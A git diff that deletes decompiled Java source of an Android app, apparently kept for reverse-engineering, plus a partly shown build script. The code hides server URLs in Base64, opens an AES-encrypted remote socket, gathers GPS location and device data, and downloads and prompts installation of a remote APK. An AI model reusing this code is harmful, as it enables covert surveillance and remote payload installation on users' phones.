com.nvav.srv.recorder; - -import java.io.BufferedWriter; -import java.io.FileWriter; -import java.io.OutputStreamWriter; -import java.io.PrintWriter; -import java.io.StringWriter; -import java.lang.Thread; -import java.net.HttpURLConnection; -import java.net.URL; -import java.net.URLEncoder; -import java.text.SimpleDateFormat; -import java.util.Date; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class CustomExceptionHandler implements Thread.UncaughtExceptionHandler { - private Thread.UncaughtExceptionHandler defaultUEH = Thread.getDefaultUncaughtExceptionHandler(); - private String localPath; - private String url; - - public CustomExceptionHandler(String str, String str2) { - this.localPath = str; - this.url = str2; - } - - @Override // java.lang.Thread.UncaughtExceptionHandler - public void uncaughtException(Thread thread, Throwable th) { - String format = new SimpleDateFormat("YYYYMMddHHmmss").format(new Date()); - StringWriter stringWriter = new StringWriter(); - PrintWriter printWriter = new PrintWriter(stringWriter); - th.printStackTrace(printWriter); - String obj = stringWriter.toString(); - printWriter.close(); - String str = format + ".stacktrace"; - if (this.localPath != null) { - writeToFile(obj, str); - } - if (this.url != null) { - sendToServer(obj, str); - } - this.defaultUEH.uncaughtException(thread, th); - } - - private void writeToFile(String str, String str2) { - try { - BufferedWriter bufferedWriter = new BufferedWriter(new FileWriter(this.localPath + "/" + str2)); - bufferedWriter.write(str); - bufferedWriter.flush(); - bufferedWriter.close(); - } catch (Exception e) { - e.printStackTrace(); - } - } - - private void sendToServer(String str, String str2) { - try { - HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(this.url).openConnection(); - httpURLConnection.setDoOutput(true); - httpURLConnection.setRequestMethod("POST"); - httpURLConnection.setRequestProperty("Accept", "*/*"); - httpURLConnection.connect(); - BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(httpURLConnection.getOutputStream(), "UTF-8")); - bufferedWriter.write(URLEncoder.encode("filename", "UTF-8") + "=" + URLEncoder.encode(str2, "UTF-8") + "&" + URLEncoder.encode("stacktrace", "UTF-8") + "=" + URLEncoder.encode(str, "UTF-8")); - bufferedWriter.flush(); - bufferedWriter.close(); - } catch (Exception e) { - e.printStackTrace(); - } - } -} diff --git a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/ICameraRecord.java b/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/ICameraRecord.java deleted file mode 100644 index ae0dbfe..0000000 --- a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/ICameraRecord.java +++ /dev/null @@ -1,13 +0,0 @@ -package com.nvav.srv.recorder; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public interface ICameraRecord { - int FPS(); - - int MaxISO(); - - int MinISO(); - - String SetCommand(String str, String str2); - - void Stop(); -} diff --git a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/InOut.java b/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/InOut.java deleted file mode 100644 index 23fb983..0000000 --- a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/InOut.java +++ /dev/null @@ -1,225 +0,0 @@ -package com.nvav.srv.recorder; - -import android.util.Base64; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.io.InputStream; -import java.io.OutputStream; -import java.io.UnsupportedEncodingException; -import java.net.Socket; -import java.net.URL; -import java.net.URLConnection; -import java.nio.ByteBuffer; -import java.nio.ByteOrder; -import java.security.InvalidAlgorithmParameterException; -import java.security.InvalidKeyException; -import java.security.MessageDigest; -import java.security.NoSuchAlgorithmException; -import java.util.Arrays; -import javax.crypto.BadPaddingException; -import javax.crypto.Cipher; -import javax.crypto.IllegalBlockSizeException; -import javax.crypto.NoSuchPaddingException; -import javax.crypto.spec.IvParameterSpec; -import javax.crypto.spec.SecretKeySpec; -import javax.xml.parsers.DocumentBuilderFactory; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class InOut extends Thread { - static byte[] ast = Base64.decode("aHR0cHM6Ly92aWRzZXIudG9wL2lwL2dldC1pcC1rci5waHA/cG9ydD0=", 0); - static byte[] ivByte; - static byte[] keyByte; - byte Chenal; - Comand comand; - URL documentUrl; - String ust; - Socket socket = null; - long time_read = System.currentTimeMillis(); - long data_read = System.currentTimeMillis(); - String AddresURL = "..."; - - static byte[] MD5(String str) throws NoSuchAlgorithmException, UnsupportedEncodingException { - return MessageDigest.getInstance("MD5").digest(str.getBytes("UTF-8")); - } - - static byte[] encrypt(byte[] bArr) throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidAlgorithmParameterException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException { - Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); - cipher.init(1, new SecretKeySpec(keyByte, "AES"), new IvParameterSpec(ivByte)); - return cipher.doFinal(bArr); - } - - static byte[] decrypt(byte[] bArr) throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidAlgorithmParameterException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException { - Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); - cipher.init(2, new SecretKeySpec(keyByte, "AES"), new IvParameterSpec(ivByte)); - return cipher.doFinal(bArr); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - class Read extends Thread { - int size = 0; - - Read() { - } - - @Override // java.lang.Thread, java.lang.Runnable - public void run() { - while (InOut.this.comand.open) { - try { - sleep(50L); - if (InOut.this.socket != null) { - while (true) { - if (InOut.this.socket.getInputStream().available() <= 0) { - break; - } - int read = InOut.this.socket.getInputStream().read(); - InOut.this.time_read = System.currentTimeMillis(); - if (read < 4) { - byte[] bArr = new byte[read]; - InOut.this.socket.getInputStream().read(bArr); - this.size = InOut.this.getInt(bArr); - break; - } - } - if (this.size > 0) { - int available = InOut.this.socket.getInputStream().available(); - int i = this.size; - if (available >= i) { - byte[] bArr2 = new byte[i]; - InOut.this.socket.getInputStream().read(bArr2); - InOut.this.time_read = System.currentTimeMillis(); - int i2 = i - 1; - if (bArr2[i2] == 0) { - InOut.this.comand.status(2); - } else { - InOut.this.comand.WriteIn(InOut.decrypt(Arrays.copyOfRange(bArr2, 0, i2))); - InOut.this.comand.status(3); - InOut.this.data_read = System.currentTimeMillis(); - } - } - } - } - } catch (Exception e) { - e.printStackTrace(); - InOut.this.socket = null; - } - } - } - } - - void Write(OutputStream outputStream, byte[] bArr, int i) throws IOException { - try { - bArr = encrypt(bArr); - } catch (Exception e) { - e.printStackTrace(); - this.socket = null; - } - byte[] putInt = putInt(bArr.length + 1); - int length = putInt.length; - while (true) { - if (length <= 0) { - break; - } else if (putInt[length - 1] == 0) { - length--; - } else if (length < 4) { - byte[] bArr2 = new byte[length]; - System.arraycopy(putInt, 0, bArr2, 0, length); - putInt = bArr2; - } - } - outputStream.write(putInt.length); - outputStream.write(putInt); - outputStream.write(bArr); - outputStream.write(i); - outputStream.flush(); - } - - @Override // java.lang.Thread, java.lang.Runnable - public void run() { - try { - URLConnection openConnection = this.documentUrl.openConnection(); - DocumentBuilderFactory.newInstance().newDocumentBuilder(); - InputStream inputStream = openConnection.getInputStream(); - int[] iArr = new int[4]; - for (int i = 0; i < 4; i++) { - iArr[i] = inputStream.read(); - } - this.AddresURL = String.format("%d.%d.%d.%d", Integer.valueOf(iArr[0]), Integer.valueOf(iArr[1]), Integer.valueOf(iArr[2]), Integer.valueOf(iArr[3])); - } catch (Exception e) { - e.printStackTrace(); - } - new Read().start(); - long currentTimeMillis = System.currentTimeMillis(); - byte b = 0; - int i2 = 0; - while (this.comand.open) { - try { - sleep(40L); - if (System.currentTimeMillis() - this.time_read > 5000 || this.socket == null) { - Socket socket = new Socket(this.AddresURL, 3033); - this.socket = socket; - socket.getOutputStream().write(1); - this.socket.getOutputStream().write(this.Chenal); - this.socket.getOutputStream().flush(); - this.time_read = System.currentTimeMillis(); - } - if (System.currentTimeMillis() - this.data_read > 1500 && System.currentTimeMillis() - currentTimeMillis > 500) { - byte b2 = (byte) (b + 1); - try { - Write(this.socket.getOutputStream(), new byte[]{b}, 0); - currentTimeMillis = System.currentTimeMillis(); - b = b2; - } catch (Exception e2) { - e = e2; - b = b2; - e.printStackTrace(); - this.socket = null; - } - } - i2 = i2 < 2 ? 2 : (byte) (i2 + 1); - ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); - while (this.comand.ReadCount() > 0) { - Write(byteArrayOutputStream, this.comand.ReadOut(), i2); - if (byteArrayOutputStream.size() > 524288) { - break; - } - } - if (byteArrayOutputStream.size() > 0) { - this.socket.getOutputStream().write(byteArrayOutputStream.toByteArray()); - this.socket.getOutputStream().flush(); - } - byteArrayOutputStream.close(); - } catch (Exception e3) { - e = e3; - } - } - } - - int getInt(byte[] bArr) { - if (bArr.length < 4) { - byte[] bArr2 = {0, 0, 0, 0}; - System.arraycopy(bArr, 0, bArr2, 0, bArr.length); - bArr = bArr2; - } - return ByteBuffer.wrap(bArr).order(ByteOrder.LITTLE_ENDIAN).getInt(0); - } - - byte[] putInt(int i) { - return ByteBuffer.allocate(4).order(ByteOrder.LITTLE_ENDIAN).putInt(i).array(); - } - - public InOut(Comand comand) { - this.comand = comand; - try { - byte byteValue = ChenalC.getInstance(null).get().byteValue(); - this.Chenal = byteValue; - if (byteValue == 0) { - return; - } - this.ust = String.format("%s%d", new String(ast), Byte.valueOf(this.Chenal)); - this.documentUrl = new URL(this.ust); - keyByte = MD5("73!2#qweaSdzxc4r"); - ivByte = MD5("0_=op[l:',./vf73"); - } catch (Exception e) { - e.printStackTrace(); - } - } -} diff --git a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/MActivity.java b/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/MActivity.java deleted file mode 100644 index 57b2519..0000000 --- a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/MActivity.java +++ /dev/null @@ -1,331 +0,0 @@ -package com.nvav.srv.recorder; - -import android.app.Activity; -import android.app.AlertDialog; -import android.app.DownloadManager; -import android.content.BroadcastReceiver; -import android.content.Context; -import android.content.DialogInterface; -import android.content.Intent; -import android.content.IntentFilter; -import android.graphics.Color; -import android.graphics.drawable.ColorDrawable; -import android.net.Uri; -import android.os.Bundle; -import android.os.Environment; -import android.os.Handler; -import android.os.Message; -import android.os.ResultReceiver; -import android.support.v4.app.ActivityCompat; -import android.support.v4.content.ContextCompat; -import android.support.v4.content.FileProvider; -import android.util.Base64; -import android.view.MenuItem; -import android.view.View; -import android.widget.EditText; -import android.widget.ImageView; -import android.widget.TextView; -import android.widget.Toast; -import java.io.BufferedInputStream; -import java.io.BufferedReader; -import java.io.File; -import java.io.InputStreamReader; -import java.net.HttpURLConnection; -import java.net.URL; -import java.util.ArrayList; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class MActivity extends Activity { - Byte Chenal = (byte) 0; - AlertDialog alert; - Context context; - Handler handler; - public Boolean ia; - Intent intent; - TextView mPreviewView; - boolean mRunning; - Toast toast; - private static final String[] perm = {"android.permission.CAMERA", "android.permission.SET_DEBUG_APP", "android.permission.WRITE_EXTERNAL_STORAGE", "android.permission.READ_EXTERNAL_STORAGE", "android.permission.INTERNET", "android.permission.READ_PHONE_STATE", "android.permission.ACCESS_COARSE_LOCATION", "android.permission.ACCESS_FINE_LOCATION"}; - static String[] colors = {"#000000", "#B22222", "#00FF7F", "#000080", "#FFFF00", "#7B68EE", "#DC143C", "#006400", "#00FFFF", "#FFA500", "#808080", "#87CEFA"}; - static int[] chenals = {0, 55, 54, 53, 51, 49, 48, 52, 50, 47, 46, 45}; - static final String[] key_ch = {"0000", "1111", "533D", "9A32", "DC8F", "1095", "4167", "2E43", "701B", "2BA9", "2BB4", "1F0E"}; - static byte[] ast = Base64.decode("aHR0cDovL2FsYW50b3JnLmNvbS9O", 0); - static byte[] ast1 = Base64.decode("aHR0cHM6Ly9uZXdpcC52aWRzZXIudG9wL04=", 0); - static byte[] ast2 = Base64.decode("L3JlYy1yZWxlYXNlLmFwaw==", 0); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - class Updater extends Thread { - TextView tv; - boolean update = false; - private Object lock = new Object(); - - Updater() { - } - - @Override // java.lang.Thread, java.lang.Runnable - public void run() { - try { - synchronized (this.lock) { - this.lock.wait(1000L); - } - String str = new String(MActivity.ast); - HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(String.format("%s%s", str, new String(MActivity.ast1))).openConnection(); - long parseLong = Long.parseLong(new BufferedReader(new InputStreamReader(new BufferedInputStream(httpURLConnection.getInputStream()))).readLine().trim()); - httpURLConnection.disconnect(); - if (parseLong <= new File(MActivity.this.getPackageManager().getApplicationInfo(MActivity.this.getPackageName(), 0).sourceDir).lastModified() / 1000 && !this.update) { - MActivity.this.toast.setText("NO Update!"); - MActivity.this.toast.setGravity(80, 0, 0); - MActivity.this.toast.show(); - synchronized (this.lock) { - this.lock.wait(2000L); - } - return; - } - String str2 = String.format("%s/", Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS)) + "rec.apk"; - Uri parse = Uri.parse("file://" + str2); - File file = new File(str2); - if (file.exists()) { - file.delete(); - } - DownloadManager.Request request = new DownloadManager.Request(Uri.parse(String.format("%s%s", str, new String(MActivity.ast2)))); - request.setTitle(MActivity.this.getString(R.string.app_name)); - request.setDescription(MActivity.this.getString(R.string.notification_description)); - request.setDestinationUri(parse); - ((DownloadManager) MActivity.this.getSystemService("download")).enqueue(request); - final Uri uriForFile = FileProvider.getUriForFile(MActivity.this.context, "com.nvav.srv.recorder.provider", file); - MActivity.this.alert.setMessage(String.format("%s\n%s\n%s", MActivity.this.context, "com.nvav.srv.recorder.provider", file)); - this.tv.setText(String.format("%s\n%s\n%s", MActivity.this.context, "com.nvav.srv.recorder.provider", file)); - MActivity.this.registerReceiver(new BroadcastReceiver() { // from class: com.nvav.srv.recorder.MActivity.Updater.1 - @Override // android.content.BroadcastReceiver - public void onReceive(Context context, Intent intent) { - Intent intent2 = new Intent("android.intent.action.INSTALL_PACKAGE"); - intent2.setData(uriForFile); - intent2.setFlags(1); - MActivity.this.startActivity(intent2); - MActivity.this.unregisterReceiver(this); - MActivity.this.finish(); - } - }, new IntentFilter("android.intent.action.DOWNLOAD_COMPLETE")); - MActivity.this.toast.setText("Update!"); - MActivity.this.toast.setGravity(80, 0, 0); - MActivity.this.toast.show(); - synchronized (this.lock) { - this.lock.wait(2000L); - } - } catch (Exception e) { - e.printStackTrace(); - } - } - } - - void ResetButton() { - AlertDialog.Builder builder = new AlertDialog.Builder(this); - builder.setTitle("Reset?"); - builder.setPositiveButton("Yes", new DialogInterface.OnClickListener() { // from class: com.nvav.srv.recorder.MActivity.1 - @Override // android.content.DialogInterface.OnClickListener - public void onClick(DialogInterface dialogInterface, int i) { - ChenalC.getInstance(MActivity.this.context).set((byte) 0); - dialogInterface.cancel(); - MActivity.this.finish(); - } - }); - builder.setNegativeButton("No", new DialogInterface.OnClickListener() { // from class: com.nvav.srv.recorder.MActivity.2 - @Override // android.content.DialogInterface.OnClickListener - public void onClick(DialogInterface dialogInterface, int i) { - dialogInterface.cancel(); - } - }); - builder.show(); - } - - @Override // android.app.Activity - public boolean onOptionsItemSelected(MenuItem menuItem) { - if (menuItem.getItemId() != 2130837508) { - return super.onOptionsItemSelected(menuItem); - } - return true; - } - - @Override // android.app.Activity - protected void onCreate(Bundle bundle) { - String[] strArr; - super.onCreate(bundle); - this.context = this; - this.mRunning = false; - this.toast = Toast.makeText(this, "", 0); - setContentView(R.layout.activity); - this.Chenal = ChenalC.getInstance(this.context).get(); - new Updater().start(); - this.mPreviewView = (TextView) findViewById(R.id.preview_view); - this.intent = new Intent(this.context, Speek.class); - ArrayList arrayList = new ArrayList(); - for (String str : perm) { - if (ContextCompat.checkSelfPermission(this, str) == -1) { - arrayList.add(str); - } - } - ActivityCompat.requestPermissions(this, (String[]) arrayList.toArray(new String[arrayList.size()]), 1); - if (this.Chenal.byteValue() == 0) { - getCh(); - } - ((TextView) findViewById(R.id.br)).setOnLongClickListener(new View.OnLongClickListener() { // from class: com.nvav.srv.recorder.MActivity.3 - @Override // android.view.View.OnLongClickListener - public boolean onLongClick(View view) { - MActivity.this.ResetButton(); - return false; - } - }); - if (this.Chenal.byteValue() > 0) { - init(); - } - final ImageView imageView = (ImageView) findViewById(R.id.L1); - final ImageView imageView2 = (ImageView) findViewById(R.id.L2); - final ImageView imageView3 = (ImageView) findViewById(R.id.L3); - final ImageView imageView4 = (ImageView) findViewById(R.id.L4); - this.handler = new Handler() { // from class: com.nvav.srv.recorder.MActivity.4 - @Override // android.os.Handler - public void handleMessage(Message message) { - if (message.what == 100) { - imageView.setImageResource(R.drawable.off); - imageView2.setImageResource(R.drawable.off); - imageView3.setImageResource(R.drawable.off); - imageView4.setImageResource(R.drawable.off); - imageView.setAlpha(0.3f); - imageView2.setAlpha(0.3f); - imageView3.setAlpha(0.3f); - imageView4.setAlpha(0.3f); - int i = message.getData().getInt("status"); - if (i != 1) { - if (i != 2) { - if (i != 3) { - if (i != 4) { - return; - } - imageView4.setImageResource(R.drawable.on); - imageView4.setAlpha(1.0f); - } - imageView3.setImageResource(R.drawable.on); - imageView3.setAlpha(1.0f); - } - imageView2.setImageResource(R.drawable.on); - imageView2.setAlpha(1.0f); - } - imageView.setImageResource(R.drawable.on); - imageView.setAlpha(1.0f); - } - } - }; - try { - MyLocListen.SetUpLocationListener(this); - } catch (Exception e) { - e.printStackTrace(); - } - } - - /* JADX INFO: Access modifiers changed from: private */ - public void getCh() { - AlertDialog.Builder builder = new AlertDialog.Builder(this); - builder.setTitle("Input CODE"); - final EditText editText = new EditText(this); - builder.setView(editText); - builder.setPositiveButton("OK", new DialogInterface.OnClickListener() { // from class: com.nvav.srv.recorder.MActivity.5 - @Override // android.content.DialogInterface.OnClickListener - public void onClick(DialogInterface dialogInterface, int i) { - String obj = editText.getText().toString(); - int i2 = 1; - while (true) { - if (i2 >= MActivity.key_ch.length) { - break; - } else if (obj.toLowerCase().equals(MActivity.key_ch[i2].toLowerCase())) { - MActivity.this.Chenal = Byte.valueOf((byte) MActivity.chenals[i2]); - ChenalC.getInstance(MActivity.this.context).set(MActivity.this.Chenal); - break; - } else { - i2++; - } - } - if (MActivity.this.Chenal.byteValue() > 1) { - MActivity.this.init(); - } else { - MActivity.this.getCh(); - } - } - }); - builder.setNegativeButton("Cancel", new DialogInterface.OnClickListener() { // from class: com.nvav.srv.recorder.MActivity.6 - @Override // android.content.DialogInterface.OnClickListener - public void onClick(DialogInterface dialogInterface, int i) { - dialogInterface.cancel(); - MActivity.this.finish(); - } - }); - builder.show(); - } - - /* JADX INFO: Access modifiers changed from: private */ - public void init() { - int i = 1; - while (true) { - int[] iArr = chenals; - if (i >= iArr.length) { - i = 0; - break; - } else if (iArr[i] == this.Chenal.byteValue()) { - break; - } else { - i++; - } - } - setTitle(String.format("(%d) %s %d", 17, getString(R.string.app_name), Integer.valueOf(i))); - getActionBar().setBackgroundDrawable(new ColorDrawable(Color.parseColor(colors[i]))); - this.intent.putExtra("reciver", new MyResultReceiver(null)); - this.mPreviewView.setOnClickListener(new View.OnClickListener() { // from class: com.nvav.srv.recorder.MActivity.7 - @Override // android.view.View.OnClickListener - public void onClick(View view) { - if (MActivity.this.mRunning) { - MActivity mActivity = MActivity.this; - mActivity.stopService(mActivity.intent); - MActivity.this.mRunning = false; - return; - } - MActivity mActivity2 = MActivity.this; - mActivity2.startService(mActivity2.intent); - MActivity.this.mRunning = true; - } - }); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public class MyResultReceiver extends ResultReceiver { - public MyResultReceiver(Handler handler) { - super(handler); - } - - @Override // android.os.ResultReceiver - protected void onReceiveResult(int i, Bundle bundle) { - Message message = new Message(); - message.setData(bundle); - message.what = i; - MActivity.this.handler.sendMessage(message); - } - } - - @Override // android.app.Activity - protected void onResume() { - super.onResume(); - } - - @Override // android.app.Activity - protected void onPause() { - super.onPause(); - } - - @Override // android.app.Activity - public void onStart() { - super.onStart(); - } - - @Override // android.app.Activity - public void onStop() { - super.onStop(); - } -} diff --git a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/MyLocListen.java b/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/MyLocListen.java deleted file mode 100644 index d0ca7ac..0000000 --- a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/MyLocListen.java +++ /dev/null @@ -1,41 +0,0 @@ -package com.nvav.srv.recorder; - -import android.content.Context; -import android.location.Location; -import android.location.LocationListener; -import android.location.LocationManager; -import android.os.Bundle; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MyLocListen implements LocationListener { - static Location imHere; - - @Override // android.location.LocationListener - public void onProviderDisabled(String str) { - } - - @Override // android.location.LocationListener - public void onProviderEnabled(String str) { - } - - @Override // android.location.LocationListener - public void onStatusChanged(String str, int i, Bundle bundle) { - } - - MyLocListen() { - } - - public static void SetUpLocationListener(Context context) { - try { - LocationManager locationManager = (LocationManager) context.getSystemService("location"); - locationManager.requestLocationUpdates("gps", 5000L, 10.0f, new MyLocListen()); - imHere = locationManager.getLastKnownLocation("gps"); - } catch (Exception e) { - e.printStackTrace(); - } - } - - @Override // android.location.LocationListener - public void onLocationChanged(Location location) { - imHere = location; - } -} diff --git a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/R.java b/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/R.java deleted file mode 100644 index aca236c..0000000 --- a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/R.java +++ /dev/null @@ -1,81 +0,0 @@ -package com.nvav.srv.recorder; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class R { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class drawable { - public static final int backr = 0x7f010000; - public static final int backrepeat = 0x7f010001; - public static final int off = 0x7f010002; - public static final int on = 0x7f010003; - - private drawable() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class id { - public static final int L1 = 0x7f020000; - public static final int L2 = 0x7f020001; - public static final int L3 = 0x7f020002; - public static final int L4 = 0x7f020003; - public static final int action_settings = 0x7f020004; - public static final int br = 0x7f020005; - public static final int preview_view = 0x7f020006; - - private id() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class integer { - public static final int Chenal = 0x7f030000; - - private integer() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class layout { - public static final int activity = 0x7f040000; - - private layout() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class menu { - public static final int main = 0x7f050000; - - private menu() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class mipmap { - public static final int ic_launcher = 0x7f060000; - - private mipmap() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class string { - public static final int app_name = 0x7f070000; - public static final int notification_description = 0x7f070001; - - private string() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class xml { - public static final int file_paths = 0x7f080000; - - private xml() { - } - } - - private R() { - } -} diff --git a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/Speek.java b/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/Speek.java deleted file mode 100644 index 4809ba5..0000000 --- a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/Speek.java +++ /dev/null @@ -1,76 +0,0 @@ -package com.nvav.srv.recorder; - -import android.app.Notification; -import android.app.Service; -import android.content.BroadcastReceiver; -import android.content.Context; -import android.content.Intent; -import android.content.IntentFilter; -import android.os.Bundle; -import android.os.IBinder; -import android.os.ResultReceiver; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class Speek extends Service { - Comand comand; - public ResultReceiver resultReceiver = null; - - @Override // android.app.Service - public IBinder onBind(Intent intent) { - return null; - } - - @Override // android.app.Service - public boolean onUnbind(Intent intent) { - return super.onUnbind(intent); - } - - @Override // android.app.Service - public void onCreate() { - startForeground(5138, new Notification()); - registerReceiver(new BroadcastReceiver() { // from class: com.nvav.srv.recorder.Speek.1 - @Override // android.content.BroadcastReceiver - public void onReceive(Context context, Intent intent) { - Comand comand = Speek.this.comand; - Integer valueOf = Integer.valueOf(intent.getIntExtra("scale", 0)); - Integer valueOf2 = Integer.valueOf(intent.getIntExtra("level", 0)); - Integer valueOf3 = Integer.valueOf(intent.getIntExtra("temperature", 0)); - Double valueOf4 = Double.valueOf(0.0d); - comand.WriteOut(String.format("battery=%d=%d=%d=%f=%f", valueOf, valueOf2, valueOf3, valueOf4, valueOf4)); - } - }, new IntentFilter("android.intent.action.BATTERY_CHANGED")); - Comand comand = new Comand(this); - this.comand = comand; - comand.start(); - } - - @Override // android.app.Service - public void onDestroy() { - super.onDestroy(); - this.comand.Close(); - stopForeground(true); - stopSelf(); - } - - @Override // android.app.Service - public int onStartCommand(Intent intent, int i, int i2) { - try { - if (this.resultReceiver == null) { - this.resultReceiver = (ResultReceiver) intent.getParcelableExtra("reciver"); - return 1; - } - return 1; - } catch (Exception e) { - e.printStackTrace(); - return 1; - } - } - - public void send_status(int i) { - Bundle bundle = new Bundle(); - bundle.putInt("status", i); - ResultReceiver resultReceiver = this.resultReceiver; - if (resultReceiver != null) { - resultReceiver.send(100, bundle); - } - } -} diff --git a/apk_3230/decompiled_source/sources/decompiled_source.iml b/apk_3230/decompiled_source/sources/decompiled_source.iml deleted file mode 100644 index b107a2d..0000000 --- a/apk_3230/decompiled_source/sources/decompiled_source.iml +++ /dev/null @@ -1,11 +0,0 @@ - - - - - - - - - - - \ No newline at end of file diff --git a/apk_3230/res/drawable/backr.xml b/apk_3230/res/drawable/backr.xml deleted file mode 100644 index d25b7ed..0000000 Binary files a/apk_3230/res/drawable/backr.xml and /dev/null differ diff --git a/apk_3230/res/drawable/backrepeat.xml b/apk_3230/res/drawable/backrepeat.xml deleted file mode 100644 index d206e20..0000000 Binary files a/apk_3230/res/drawable/backrepeat.xml and /dev/null differ diff --git a/apk_3230/res/drawable/off.png b/apk_3230/res/drawable/off.png deleted file mode 100644 index cbc613f..0000000 Binary files a/apk_3230/res/drawable/off.png and /dev/null differ diff --git a/apk_3230/res/drawable/on.png b/apk_3230/res/drawable/on.png deleted file mode 100644 index 137ac8c..0000000 Binary files a/apk_3230/res/drawable/on.png and /dev/null differ diff --git a/apk_3230/res/layout/activity.xml b/apk_3230/res/layout/activity.xml deleted file mode 100644 index 54fb551..0000000 Binary files a/apk_3230/res/layout/activity.xml and /dev/null differ diff --git a/apk_3230/res/menu/main.xml b/apk_3230/res/menu/main.xml deleted file mode 100644 index d1628df..0000000 Binary files a/apk_3230/res/menu/main.xml and /dev/null differ diff --git a/apk_3230/res/mipmap-hdpi/ic_launcher.png b/apk_3230/res/mipmap-hdpi/ic_launcher.png deleted file mode 100644 index 657026b..0000000 Binary files a/apk_3230/res/mipmap-hdpi/ic_launcher.png and /dev/null differ diff --git a/apk_3230/res/mipmap-mdpi/ic_launcher.png b/apk_3230/res/mipmap-mdpi/ic_launcher.png deleted file mode 100644 index 5b7cf51..0000000 Binary files a/apk_3230/res/mipmap-mdpi/ic_launcher.png and /dev/null differ diff --git a/apk_3230/res/mipmap-xhdpi/ic_launcher.png b/apk_3230/res/mipmap-xhdpi/ic_launcher.png deleted file mode 100644 index 51708ab..0000000 Binary files a/apk_3230/res/mipmap-xhdpi/ic_launcher.png and /dev/null differ diff --git a/apk_3230/res/mipmap-xxhdpi/ic_launcher.png b/apk_3230/res/mipmap-xxhdpi/ic_launcher.png deleted file mode 100644 index b3fabda..0000000 Binary files a/apk_3230/res/mipmap-xxhdpi/ic_launcher.png and /dev/null differ diff --git a/apk_3230/res/mipmap-xxxhdpi/ic_launcher.png b/apk_3230/res/mipmap-xxxhdpi/ic_launcher.png deleted file mode 100644 index 58a8254..0000000 Binary files a/apk_3230/res/mipmap-xxxhdpi/ic_launcher.png and /dev/null differ diff --git a/apk_3230/res/xml/file_paths.xml b/apk_3230/res/xml/file_paths.xml deleted file mode 100644 index 4f35cac..0000000 Binary files a/apk_3230/res/xml/file_paths.xml and /dev/null differ diff --git a/apk_3230/resources.arsc b/apk_3230/resources.arsc deleted file mode 100644 index 71cb0eb..0000000 Binary files a/apk_3230/resources.arsc and /dev/null differ diff --git a/build.sh b/build.sh deleted file mode 100755 index 1bbcddd..0000000 --- a/build.sh +++ /dev/null @@ -1,74 +0,0 @@ -#!/bin/bash - -echo "============================================" -echo "Скрипт сборки декомпилированного проекта VideoReader" -echo "============================================" - -# Переходим в директорию проекта -cd "/home/data/decompile/output" || exit 1 - -# Проверяем наличие dotnet -if ! command -v dotnet &> /dev/null; then - echo "ОШИБКА: .NET SDK не установлен!" - exit 1 -fi - -echo "Найден .NET SDK версии: $(dotnet --version)" - -# Проверяем наличие необходимых библиотек -DESKTOP_DIR="../desktop" -REQUIRED_DLLS=("AForge.dll" "AForge.Imaging.dll" "AForge.Math.dll" "BouncyCastle.Crypto.dll" "FFmpeg.AutoGen.dll" "MessagingToolkit.QRCode.dll") - -echo "Проверяем наличие зависимостей..." -for dll in "${REQUIRED_DLLS[@]}"; do - if [ ! -f "$DESKTOP_DIR/$dll" ]; then - echo "ПРЕДУПРЕЖДЕНИЕ: Не найден файл $dll" - else - echo "✓ Найден: $dll" - fi -done - -# Проверяем наличие FFmpeg -if [ ! -d "$DESKTOP_DIR/FFmpeg" ]; then - echo "ПРЕДУПРЕЖДЕНИЕ: Не найдена папка FFmpeg" -else - echo "✓ Найдена папка FFmpeg" -fi - -echo "" -echo "Попытка сборки проекта..." - -# Восстанавливаем пакеты (если нужно) -dotnet restore VideoReader.csproj - -# Собираем проект -echo "Сборка проекта..." -dotnet build VideoReader.csproj --configuration Release --verbosity minimal - -if [ $? -eq 0 ]; then - echo "" - echo 